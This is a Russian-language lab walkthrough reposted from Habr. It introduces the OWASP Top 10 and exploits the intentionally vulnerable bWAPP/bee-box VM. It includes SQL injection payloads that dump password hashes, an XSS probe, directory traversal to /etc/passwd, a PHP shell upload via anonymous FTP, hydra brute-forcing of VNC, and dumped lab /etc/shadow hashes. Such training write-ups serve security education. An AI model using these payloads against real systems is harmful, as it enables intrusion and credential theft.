- PVSM.RU - https://www.pvsm.ru -
Привет!
В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.
Краткий ликбез:
Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.
Сам топ-10 выглядит следющим образом [1]:
A1 Внедрение кода
A2 Некорректная аутентификация и управление сессией
A3 Межсайтовый скриптинг (XSS)
A4 Небезопасные прямые ссылки на объекты
A5 Небезопасная конфигурация
A6 Утечка чувствительных данных
A7 Отсутствие контроля доступа к функциональному уровню
A8 Подделка межсайтовых запросов (CSRF)
A9 Использование компонентов с известными уязвимостями
A10 Невалидированные редиректы
Рейтинг отражает не только распространенность, но и опасность угрозы.
buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.
Автор bWAPP — Malik Mesellem (его блог [2])
Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.
Что вас ждет в статье:
На кого расчитанна статья:
Требования:
Цель статьи:
Чего не будет в статье:
1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.
2. Обзора программ, которые помогают при пентесте.
Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.
Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.
Выбираем SQL Injection (GET/Search)
Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.
Подставляем кавычку, получаем ошибку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
Воспользуемся техникой order by и подберем количество столбцов:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
Оно равно 7:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
Дальше используем union:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
Получаем номера столбцов:
Получаем имя БД, юзера, хеш пароля:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
SQL Injection (POST/Search)
Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:
В burpsuite открываем наш запрос
Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.
Открываем sqlmap и выполняем команду:
sqlmap -r sql.txt
Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
Просто подставим payload в адресную строку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
тем самым получим токен, что означает, что задача выполнена:
Их здесь полно и на любой вкус.
Выбираем XSS — Reflected (GET)
Подставляем
<script>alert(1);</script>
Откроем Directory Traversal — Files
http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
Попробуем подставить /etc/passwd:
Откроем Directory Traversal — Directories
http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
Прочитаем листинг /etc/:
Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.
Просканируем цель nmap'ом:
Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc
Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.
Воспользуемся Dirbuster:
Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200
Тем временем
nmap --script=ftp*
сообщает, что:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf
| -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf
| -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf
Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.
Значит будем заливать php шелл.
Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)
Наш шелл.
Пробуем подключится по 192.168.1.18:5901
Хорошо, воспользуемся hydra:
hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
Коннектимся… тадам! Неожиданно, но это права root'а.
Раз root, тогда смотрим /etc/shadow
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
Воспользуемся hashcat'ом [3] для подбора паролей:
Вот такой улов.
Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.
Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:
Автор bWAPP — Malik Mesellem (его блог [2])
Сам Топ-10 OWASP [1]
Отличная подборка [5] тематических статей от BeLove [6]
Вторая подборка описание пентест утилит [7], также от BeLove [6]
Творение g0tmi1k — сайт, на котором собраны boot2root образы [8]
Спасибо за внимание. Отвечу на любые вопросы.
Автор: Mach1ne
Источник [9]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/82905
Ссылки в тексте:
[1] образом: https://www.owasp.org/index.php/Top_10_2013-Top_10
[2] его блог: http://itsecgames.blogspot.com
[3] hashcat'ом: http://hashcat.net/oclhashcat/
[4] Heartbleed: https://ru.wikipedia.org/wiki/Heartbleed
[5] подборка: http://habrahabr.ru/company/dsec/blog/200408/
[6] BeLove: http://habrahabr.ru/users/belove/
[7] описание пентест утилит: http://habrahabr.ru/post/125206/
[8] сайт, на котором собраны boot2root образы: https://www.vulnhub.com
[9] Источник: http://habrahabr.ru/post/250551/
Нажмите здесь для печати.